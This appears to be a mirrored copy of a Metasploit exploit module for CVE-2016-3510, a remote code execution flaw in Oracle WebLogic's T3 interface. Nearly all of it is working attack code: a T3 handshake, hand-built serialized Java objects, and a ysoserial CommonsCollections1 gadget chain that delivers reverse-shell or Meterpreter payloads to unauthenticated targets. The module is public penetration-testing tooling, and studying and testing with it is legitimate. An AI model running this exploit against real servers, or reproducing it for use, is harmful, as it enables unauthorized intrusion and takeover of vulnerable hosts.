CoCalc -- weblogic_deserialize

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_marshalledobject.rb
³²⁶¹⁹ views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ManualRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::JavaDeserialization
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Oracle Weblogic Server Deserialization RCE - MarshalledObject',
17
        'Description' => %q{
18
          An unauthenticated attacker with network access to the Oracle Weblogic Server T3
19
          interface can send a serialized object (weblogic.corba.utils.MarshalledObject)
20
          to the interface to execute code on vulnerable hosts.
21
        },
22
        'Author' => [
23
          'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
24
          'Jacob Baines',      # Vulnerability Discovery - Tenable Network Security
25
          'Aaron Soto',        # Reverse Engineering JSO and ysoserial blobs
26
          'Steve Embling'      # T3S support
27
        ],
28
        'License' => MSF_LICENSE,
29
        'References' => [
30
          ['CVE', '2016-3510']
31
        ],
32
        'Privileged' => false,
33
        'Targets' => [
34
          [
35
            'Unix',
36
            {
37
              'Platform' => 'unix',
38
              'Arch' => ARCH_CMD,
39
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' },
40
              'Payload' => {
41
                'Compat' => { 'PayloadType' => 'cmd' }
42
              }
43
            }
44
          ],
45
          [
46
            'Windows',
47
            {
48
              'Platform' => 'win',
49
              'Payload' => {},
50
              'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
51
            }
52
          ],
53
          [
54
            'Solaris',
55
            {
56
              'Platform' => 'solaris',
57
              'Arch' => ARCH_CMD,
58
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
59
              'Payload' => {
60
                'Space' => 2048,
61
                'DisableNops' => true,
62
                'Compat' =>
63
                {
64
                  'PayloadType' => 'cmd',
65
                  'RequiredCmd' => 'generic perl telnet'
66
                }
67
              }
68
            }
69
          ]
70
        ],
71
        'DefaultTarget' => 0,
72
        'DefaultOptions' => { 'WfsDelay' => 12 },
73
        'DisclosureDate' => '2016-07-19',
74
        'Notes' => {
75
          'Reliability' => [REPEATABLE_SESSION],
76
          'Stability' => [CRASH_SAFE],
77
          'SideEffects' => [IOC_IN_LOGS]
78
        }
79
      )
80
    )
81

82
    register_options([
83
      Opt::RPORT(7001),
84
    ])
85

86
    register_advanced_options([
87
      OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])
88
    ])
89
  end
90

91
=begin   This check is currently incompatible with the Tcp mixin.  :-(
92
  def check
93
    resp = send_request_cgi(
94
      'method' => 'GET',
95
      'uri'    => '/console/login/LoginForm.jsp'
96
    )
97

98
    return CheckCode::Unknown unless resp && resp.code == 200
99

100
    unless resp.body.include?('Oracle WebLogic Server Administration Console')
101
      vprint_warning("Oracle WebLogic Server banner cannot be found")
102
      return CheckCode::Unknown
103
    end
104

105
    /WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
106
    unless version
107
      vprint_warning("Oracle WebLogic Server version cannot be found")
108
      return CheckCode::Unknown
109
    end
110

111
    version = Rex::Version.new(version)
112
    vprint_good("Detected Oracle WebLogic Server Version: #{version}")
113
    case
114
    when version.to_s.start_with?('10.3')
115
      return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')
116
    when version.to_s.start_with?('12.1.3')
117
      return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')
118
    when version.to_s.start_with?('12.2')
119
      return CheckCode::Appears unless version > Rex::Version.new('12.2.1.0')
120
    end
121

122
    return CheckCode::Safe
123
  end
124
=end
125

126
  def t3_handshake
127
    # retrieved from network traffic
128
    if !datastore['SSL'] || datastore['FORCE_T3']
129
      shake = 't3'
130
    else
131
      shake = 't3s'
132
    end
133
    shake << " 12.2.1\n"
134
    shake << "AS:255\n"
135
    shake << "HL:19\n"
136
    shake << "MS:10000000\n\n"
137

138
    sock.put(shake)
139
    sleep(1)
140
    sock.get_once
141
  end
142

143
  def build_t3_request_object
144
    # T3 request serialized data
145
    # retrieved by watching network traffic
146
    # This is a proprietary, undocumented protocol
147
    # TODO: WHAT DOES THIS DO?  CAN WE RANDOMIZE ANY OF IT?
148
    data = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a'
149
    data << '56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278'
150
    data << '700000000a000000030000000000000006007070707070700000000a00000003'
151
    data << '0000000000000006007006'
152

153
    data << 'fe010000'                                     # ----- separator -----
154

155
    data << 'aced0005'                                     # JSO v5 header
156
    data << '73'                                           # object header
157
    data << '72001d'                                       # className (29 bytes):
158
    data << '7765626c6f6769632e726a766d2e436c617373'       #   weblogic.rjvm.ClassTableEntry
159
    data << '5461626c65456e747279'                         #   (continued)
160
    data << '2f52658157f4f9ed'                             #   serialVersionUID
161
    data << '0c00007870'                                   #   remainder of object header
162
    data << '72'                                           # object header
163
    data << '00247765626c6f6769632e636f6d6d6f6e2e696e74'   #   className (36 bytes): weblogic.common.internal.PackageInfo
164
    data << '65726e616c2e5061636b616765496e666f'           #   (continued)
165
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
166
    data << '02'                                           #   SC_SERIALIZABLE
167
    data << '0008'                                         #   fieldCount = 8
168
    data << '4900056d616a6f72'                             #     0: Int: major
169
    data << '4900056d696e6f72'                             #     1: Int: minor
170
    data << '49000c726f6c6c696e675061746368'               #     2: Int rollingPatch
171
    data << '49000b736572766963655061636b'                 #     3: Int: servicePack
172
    data << '5a000e74656d706f726172795061746368'           #     4: Bool: temporaryPatch
173
    data << '4c0009696d706c5469746c65'                     #     5: Obj: implTitle
174
    data << '7400124c6a6176612f6c616e672f537472696e673b'   #        java/lang/String
175
    data << '4c000a696d706c56656e646f72'                   #     6: Obj: implVendor
176
    data << '71007e0003'                                   #        (Handle) 0x007e0003
177
    data << '4c000b696d706c56657273696f6e'                 #     7: Obj: implVersion
178
    data << '71007e0003'                                   #        (Handle) 0x007e0003
179
    data << '78707702000078'                               #   block footers
180

181
    data << 'fe010000'                                     # ----- separator -----
182

183
    data << 'aced0005'                                     # JSO v5 header
184
    data << '7372'                                         # object header
185
    data << '001d7765626c6f6769632e726a766d2e436c6173'     # className (29 bytes): weblogic.rjvm.ClassTableEntry
186
    data << '735461626c65456e747279'                       #    (continued)
187
    data << '2f52658157f4f9ed'                             # serialVersionUID
188
    data << '0c'                                           # EXTERNALIZABLE | BLOCKDATA
189
    data << '00007870'                                     # remainder of object header
190
    data << '72'                                           # object header
191
    data << '00247765626c6f6769632e636f6d6d6f6e2e696'      # className (36 bytes): weblogic.common.internal.VersionInfo
192
    data << 'e7465726e616c2e56657273696f6e496e666f'        #    (continued)
193
    data << '972245516452463e'                             # serialVersionUID
194
    data << '02'                                           # SC_SERIALIZABLE
195
    data << '0003'                                         #   fieldCount = 3
196
    data << '5b0008'                                       #   array header (8 bytes)
197
    data << '7061636b61676573'                             #     ARRAY NAME = 'packages'
198
    data << '740027'                                       #     TC_STRING className1 (39 bytes)
199
    data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69'       #       weblogic/common/internal/PackageInfo
200
    data << '6e7465726e616c2f5061636b616765496e666f'       #       (continued)
201
    data << '3b'                                           #       (continued)
202
    data << '4c000e'                                       #   object header (14 bytes)
203
    data << '72656c6561736556657273696f6e'                 #     releaseVersion
204
    data << '740012'                                       #     TC_STRING (18 bytes)
205
    data << '4c6a6176612f6c616e672f537472696e673b'         #       versionInfoAsBytes
206
    data << '5b0012'                                       #   array header (18 bytes)
207
    data << '76657273696f6e496e666f41734279746573'         #     ARRAY NAME = java/lang/String;
208
    data << '740002'                                       #     TC_STRING (2 bytes)
209
    data << '5b42'                                         #       0x5b42 = [B
210
    data << '78'                                           # block footer
211

212
    data << '720024'                                       # class (36 bytes)
213
    data << '7765626c6f6769632e636f6d6d6f6e2e696e'         #   weblogic.common.internal.PackageInfo
214
    data << '7465726e616c2e5061636b616765496e666f'         #   (continued)
215
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
216

217
    data << '02'                                           #   SC_SERIALIZABLE
218
    data << '0008'                                         #   fieldCount = 8
219
    data << '4900056d616a6f72'                             #   0: Int: major
220
    data << '4900056d696e6f72'                             #   1: Int: minor
221
    data << '49000c726f6c6c696e675061746368'               #   2: Int rollingPatch
222
    data << '49000b736572766963655061636b'                 #   3: Int: servicePack
223
    data << '5a000e74656d706f726172795061746368'           #   4: Bool: temporaryPatch
224
    data << '4c0009696d706c5469746c65'                     #   5: Obj: implTitle
225
    data << '71'                                           #      TC_REFERENCE
226
    data << '007e0004'                                     #      Handle = 0x007e0004
227
    data << '4c000a696d706c56656e646f72'                   #   6: Obj: implVendor
228
    data << '71'                                           #      TC_REFERENCE
229
    data << '007e0004'                                     #      Handle = 0x007e0004
230
    data << '4c000b696d706c56657273696f6e'                 #   7: Obj: implVersion
231
    data << '71'                                           #      TC_REFERENCE
232
    data << '007e0004'                                     #      Handle = 0x007e0004
233
    data << '78'                                           # class footer
234
    data << '70'                                           # TC_NULL
235
    data << '77020000'                                     # BLOCKDATA (2 bytes): 0x0000
236
    data << '78'                                           # block footer
237

238
    data << 'fe010000'                                     # ----- separator -----
239

240
    data << 'aced0005'                                     # JSO v5 header
241
    data << '73'                                           # object header
242
    data << '72001d'                                       # className (29 bytes):
243
    data << '7765626c6f6769632e726a766d2e436c617373'       #   weblogic.rjvm.ClassTableEntry
244
    data << '5461626c65456e747279'                         #   (continued)
245
    data << '2f52658157f4f9ed'                             #   serialVersionUID
246
    data << '0c00007870'                                   #   remainder of object header
247
    data << '720021'                                       # className (33 bytes)
248
    data << '7765626c6f6769632e636f6d6d6f6e2e696e74'       #   weblogic.common.internal.PeerInfo
249
    data << '65726e616c2e50656572496e666f'                 #   (continued)
250
    data << '585474f39bc908f1'                             #   serialVersionUID
251
    data << '02'                                           #   SC_SERIALIZABLE
252
    data << '0006'                                         #   fieldCount = 6
253
    data << '4900056d616a6f72'                             #     0: Int: major
254
    data << '4900056d696e6f72'                             #     1: Int: minor
255
    data << '49000c726f6c6c696e675061746368'               #     2: Int rollingPatch
256
    data << '49000b736572766963655061636b'                 #     3: Int: servicePack
257
    data << '5a000e74656d706f726172795061746368'           #     4: Bool: temporaryPatch
258
    data << '5b00087061636b61676573'                       #     5: Array: packages
259
    data << '740027'                                       #        TC_STRING (39 bytes)
260
    data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69'       #        Lweblogic/common/internal/PackageInfo;
261
    data << '6e7465726e616c2f5061636b616765496e666f'       #        (continued)
262
    data << '3b'                                           #        (continued)
263
    data << '78'                                           # block footer
264
    data << '720024'                                       # class (36 bytes)
265
    data << '7765626c6f6769632e636f6d6d6f6e2e696e74'       #   Lweblogic/common/internal/PackageInfo;
266
    data << '65726e616c2e56657273696f6e496e666f'           #   (continued)
267
    data << '972245516452463e'                             #   serialVersionUID
268
    data << '02'                                           #   SC_SERIALIZABLE
269
    data << '0003'                                         #   fieldCount = 3
270
    data << '5b0008'                                       #   0: Array
271
    data << '7061636b6167657371'                           #      packages
272
    data << '007e0003'                                     #      Handle = 0x00730003
273
    data << '4c000e72656c6561736556657273696f6e'           #   1: Obj: releaseVersion
274
    data << '7400124c6a6176612f6c616e672f537472696e673b'   #      Ljava/lang/String;
275
    data << '5b001276657273696f6e496e666f41734279746573'   #   2: Array: versionInfoAsBytes
276
    data << '740002'                                       #      TC_STRING (2 bytes)
277
    data << '5b42'                                         #      VALUE = 0x5b42 = [B
278
    data << '78'                                           # block footer
279
    data << '720024'                                       # class: (36 bytes)
280
    data << '7765626c6f6769632e636f6d6d6f6e2e696e746572'   #   Name = weblogic.common.internal.PackageInfo
281
    data << '6e616c2e5061636b616765496e666f'               #   (continued)
282
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
283
    data << '02'                                           #   SC_SERIALIZABLE
284
    data << '0008'                                         #   fieldCount = 8
285
    data << '4900056d616a6f72'                             #   0: Int: major
286
    data << '4900056d696e6f72'                             #   1: Int: minor
287
    data << '49000c726f6c6c696e675061746368'               #   2: Int rollingPatch
288
    data << '49000b736572766963655061636b'                 #   3: Int: servicePack
289
    data << '5a000e74656d706f726172795061746368'           #   4: Bool: temporaryPatch
290
    data << '4c0009696d706c5469746c65'                     #   5: Obj: implTitle
291
    data << '71'                                           #      TC_REFERENCE
292
    data << '007e0005'                                     #      Handle = 0x007e0005
293
    data << '4c000a696d706c56656e646f72'                   #   6: Obj: implVendor
294
    data << '71'                                           #      TC_REFERENCE
295
    data << '007e0005'                                     #      Handle = 0x007e0005
296
    data << '4c000b696d706c56657273696f6e'                 #   7: Obj: implVersion
297
    data << '71'                                           #      TC_REFERENCE
298
    data << '007e0005'                                     #      Handle = 0x007e0005
299
    data << '78'                                           # class footer
300
    data << '707702000078'                                 # block footers
301

302
    data << 'fe00ff'                                       # this cruft again.  some kind of footer
303

304
    data << 'fe010000'                                     # ----- separator -----
305

306
    # weblogic.rjvm.JVMID object
307
    data << 'aced0005'                                     # JSO v5 header
308
    data << '73'                                           # object header
309
    data << '720013'                                       #   class (19 bytes)
310
    data << '7765626c6f6769632e726a766d2e4a564d4944'       #   name = 'weblogic.rjvm.JVMID'
311
    data << 'dc49c23ede121e2a'                             #   serialVersionUID
312
    data << '0c'                                           #   EXTERNALIZABLE | BLOCKDATA
313
    data << '0000'                                         #   fieldCount = 0   (!!!)
314
    data << '78'                                           # block footer
315
    data << '70'                                           # NULL
316
    data << '7750'                                         # block header (80 bytes)
317
    data << '21'                                           #   !
318
    data << '000000000000000000'                           #   9 NULL BYTES
319
    data << '0d'                                           #   \n
320
    data << '3139322e3136382e312e323237' #   192.168.1.227
321
    data << '00'                                           #   \0
322
    data << '12'                                           #      #TODO: UNKNOWN
323
    data << '57494e2d4147444d56515542315436'               #   WIN-AGDMVQUB1T6
324
    data << '2e'                                           #      #TODO: UNKNOWN
325
    data << '656883348cd6000000070000'                     #      #TODO: UNKNOWN
326
    data << rport.to_s(16).rjust(4, '0')                   #   callback port
327
    data << 'ffffffffffffffffffffffffffffffffffffff'       #      #TODO: UNKNOWN
328
    data << 'ffffffffff'                                   #      #TODO: UNKNOWN
329
    data << '78'                                           # block footer
330

331
    data << 'fe010000'                                     # ----- separator -----
332

333
    # weblogic.rjvm.JVMID object
334
    data << 'aced0005'                                     # JSO v5 header
335
    data << '73'                                           # object header
336
    data << '72'                                           #   class
337
    data << '00137765626c6f6769632e726a766d2e4a564d4944'   #   Name: weblogic.rjvm.JVMID
338
    data << 'dc49c23ede121e2a'                             #   serialVersionUID
339
    data << '0c'                                           #   EXTERNALIZABLE | BLOCKDATA
340
    data << '0000'                                         #   fieldCount = 0
341
    data << '78'                                           # end block
342
    data << '70'                                           # TC_NULL
343
    data << '77'                                           # block header
344
    data << '20'                                           #   length = 32 bytes
345
    data << '0114dc42bd071a772700'                         #      #TODO: UNKNOWN
346
    data << '0d'                                           #      \n
347
    data << '3234322e3231342e312e323534'                   #      242.214.1.254
348
    data << '61863d1d'                                     #      #TODO: UNKNOWN
349
    data << '00000000'                                     #      NULL BYTES
350
    data << '78'                                           # block footer
351

352
    sock.put([data].pack('H*'))
353
    sleep(1)
354
    sock.get_once
355
  end
356

357
  def send_payload_objdata
358
    # basic weblogic ClassTableEntry object (serialized)
359
    # TODO: WHAT DOES THIS DO?  CAN WE RANDOMIZE ANY OF IT?
360
    objdata = '056508000000010000001b0000005d0101007372017870737202787000000000'
361
    objdata << '00000000757203787000000000787400087765626c6f67696375720478700000'
362
    objdata << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'
363

364
    objdata << 'fe010000'                                  # ----- separator -----
365

366
    objdata << 'aced0005'                                  # JSO v5 header
367
    objdata << '73'                                        # object header
368
    objdata << '72'                                        #   class
369
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
370
    objdata << '73735461626c65456e747279'                  #   (cont)
371
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
372
    objdata << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
373
    objdata << '0000'                                      #   fieldCount = 0
374
    objdata << '7870'                                      #   remaining object header
375
    objdata << '72'                                        # class header
376
    objdata << '00025b42'                                  #   Name: 0x5b42
377
    objdata << 'acf317f8060854e0'                          #   serialVersionUID
378
    objdata << '02'                                        #   SERIALIZABLE
379
    objdata << '0000'                                      #   fieldCount = 0
380
    objdata << '7870'                                      #   class footer
381
    objdata << '77'                                        # block header
382
    objdata << '020000'                                    #   contents = 0x0000
383
    objdata << '78'                                        #   block footer
384

385
    objdata << 'fe010000'                                  # ----- separator -----
386

387
    objdata << 'aced0005'                                  # JSO v5 header
388
    objdata << '73'                                        # object header
389
    objdata << '72'                                        #   class
390
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
391
    objdata << '73735461626c65456e747279'                  #   (cont)
392
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
393
    objdata << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
394
    objdata << '0000'                                      #   fieldCount = 0
395
    objdata << '7870'                                      #   remaining object header
396
    objdata << '72'                                        # class header
397

398
    objdata << '00135b4c6a6176612e6c616e672e4f626a'        #   Name: [Ljava.lang.Object;
399
    objdata << '6563743b'                                  #   (cont)
400
    objdata << '90ce589f1073296c'                          #   serialVersionUID
401
    objdata << '02'                                        #   SERIALIZABLE
402
    objdata << '0000'                                      #   fieldCount = 0
403
    objdata << '7870'                                      #   remaining object header
404
    objdata << '77'                                        # block header
405
    objdata << '020000'                                    #   contents = 0x0000
406
    objdata << '78'                                        #   block footer
407

408
    objdata << 'fe010000'                                  # ----- separator -----
409

410
    objdata << 'aced0005'                                  # JSO v5 header
411
    objdata << '73'                                        # object header
412
    objdata << '72'                                        #   class
413

414
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
415
    objdata << '73735461626c65456e747279'                  #   (cont)
416
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
417
    objdata << '0c'                                        #   SERIALIZABLE | BLOCKDATA
418
    objdata << '0000'                                      #   fieldCount = 0
419
    objdata << '7870'                                      #   block footer
420
    objdata << '72'                                        # class header
421
    objdata << '00106a6176612e7574696c2e566563746f72'      #   Name: java.util.Vector
422
    objdata << 'd9977d5b803baf01'                          #   serialVersionUID
423
    objdata << '03'                                        #   WRITE_METHOD | SERIALIZABLE
424
    objdata << '0003'                                      #   fieldCount = 3
425
    objdata << '4900116361706163697479496e6372656d656e74'  #   0: Int: capacityIncrement
426
    objdata << '49000c656c656d656e74436f756e74'            #   1: Int: elementCount
427
    objdata << '5b000b656c656d656e7444617461'              #   2: Array: elementData
428
    objdata << '7400135b4c6a6176612f6c616e672f4f626a6563'  #   3: String: [Ljava/lang/Object;
429
    objdata << '743b'                                      #      (cont)
430
    objdata << '7870'                                      #   remaining object header
431
    objdata << '77'                                        # block header
432
    objdata << '020000'                                    #   contents = 0x0000
433
    objdata << '78'                                        #   block footer
434

435
    objdata << 'fe010000'                                  # ----- separator -----
436

437
    # payload generated from ysoserial and wrapped in a MarshalledObject:
438
    objdata << 'aced0005'                                  # JSO v5 header
439
    objdata << '73'                                        # object header
440
    objdata << '72'                                        #   class header
441

442
    objdata << '00257765626c6f6769632e636f7262612e757469'  #     Name = weblogic.corba.utils.MarshalledObject
443
    objdata << '6c732e4d61727368616c6c65644f626a656374'    #       (cont)
444
    objdata << '592161d5f3d1dbb6'                          #     serialVersionUID
445
    objdata << '02'                                        #     SERIALIZABLE
446
    objdata << '0002'                                      #     fieldCount = 2
447
    objdata << '49000468617368'                            #     0: Int: hash
448
    objdata << '5b00086f626a4279746573'                    #     1: Array: objBytes
449
    objdata << '7400025b42'                                #        Value: 0x5b42
450
    objdata << '7870'                                      #     class footer
451
    #   class Data:
452
    objdata << '21210fdc'                                  #     hash = 0x21210fdc (555814876d)
453
    objdata << '757200025b42'                              #     objBytes = [ 0x5b42 ]
454
    objdata << 'acf317f8060854e0'                          #     serialVersionUID
455
    objdata << '02'                                        #     SERIALIZABLE
456
    objdata << '0000'                                      #     fieldCount = 0
457
    objdata << '7870'                                      #   class footer
458
    objdata << '0000'                                      #   arraySize (first two bytes)
459

460
    # java -jar ysoserial-0.0.5-all.jar CommonsCollections1 calc.exe
461
    java_payload = generate_java_deserialization_for_payload('CommonsCollections1', payload)
462
    objdata << (java_payload.length).to_s(16).rjust(4, '0') # arraySize (lower two bytes)
463
    objdata << java_payload.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
464

465
    # basic weblogic ImmutableServiceContext object (serialized)
466
    objdata << 'fe010000'                                  # ----- separator -----
467

468
    objdata << 'aced0005'                                  # JSO v5 header
469
    objdata << '73'                                        # object header
470
    objdata << '72'                                        #   class
471
    objdata << '00257765626c6f6769632e726a766d2e496d6d75'  #   Name = weblogic.rjvm.ImmutableServiceContext
472
    objdata << '7461626c6553657276696365436f6e74657874'    #     (cont)
473
    objdata << 'ddcba8706386f0ba'                          #   serialVersionUID
474
    objdata << '0c'                                        #   SERIALIZABLE | BLOCKDATA
475
    objdata << '0000'                                      #   fieldCount = 0
476
    objdata << '78'                                        #   remainder of object header
477
    objdata << '72'                                        # class header
478
    objdata << '00297765626c6f6769632e726d692e70726f7669'  #   Name: weblogic.rmi.provider.BasicServiceContext
479
    objdata << '6465722e426173696353657276696365436f6e74'  #     (cont)
480
    objdata << '657874'                                    #     (cont)
481
    objdata << 'e4632236c5d4a71e'                          #    serialVersionUID
482
    objdata << '0c'                                        #    SERIALIZABLE | BLOCKDATA
483
    objdata << '0000'                                      #    fieldCount = 0
484
    objdata << '78'                                        #    block footer
485
    objdata << '70'                                        #    TC_NULL
486
    objdata << '77'                                        #  block header
487
    objdata << '020600'                                    #    Contents: 0x0600 (1536d) ### LENGTH OFFSET ADDED BELOW  #TODO: WHY?
488
    objdata << '73'                                        #    object header
489
    objdata << '72'                                        #      class description
490
    objdata << '00267765626c6f6769632e726d692e696e746572'  #        Name = weblogic.rmi.internal.MethodDescriptor
491
    objdata << '6e616c2e4d6574686f6444657363726970746f72'  #          (cont)
492
    objdata << '12485a828af7f67b'                          #        serialVersionUID
493
    objdata << '0c'                                        #    EXTERNALIZABLE | BLOCKDATA
494
    objdata << '0000'                                      #    fieldCount = 0
495
    objdata << '78'                                        #    block footer
496
    objdata << '70'                                        #    TC_NULL
497
    objdata << '77'                                        #  block header
498
    objdata << '34002e61757468656e746963617465284c776562'  #   HEX-ASCII: authenticate(Lweblogic.security.acl.UserInfo;)
499
    objdata << '6c6f6769632e73656375726974792e61636c2e55'  #     (cont)
500
    objdata << '736572496e666f3b290000001b'                #     (cont)
501
    objdata << '78'                                        #   block footer
502
    objdata << '78'                                        # object footer
503

504
    objdata << 'fe00ff'                                    # this cruft again.  some kind of footer
505

506
    # sets the length of the stream
507
    data = ((objdata.length >> 1) + 4).to_s(16).rjust(8, '0')
508
    data << objdata
509

510
    sock.put([data].pack('H*'))
511
    sleep(1)
512
    sock.get_once
513
  end
514

515
  def exploit
516
    connect
517

518
    print_status('Sending handshake...')
519
    t3_handshake
520

521
    print_status('Sending T3 request object...')
522
    build_t3_request_object
523

524
    print_status('Sending client object payload...')
525
    send_payload_objdata
526

527
    handler
528
    disconnect
529
  end
530
end
531

532
Product

Resources

Company
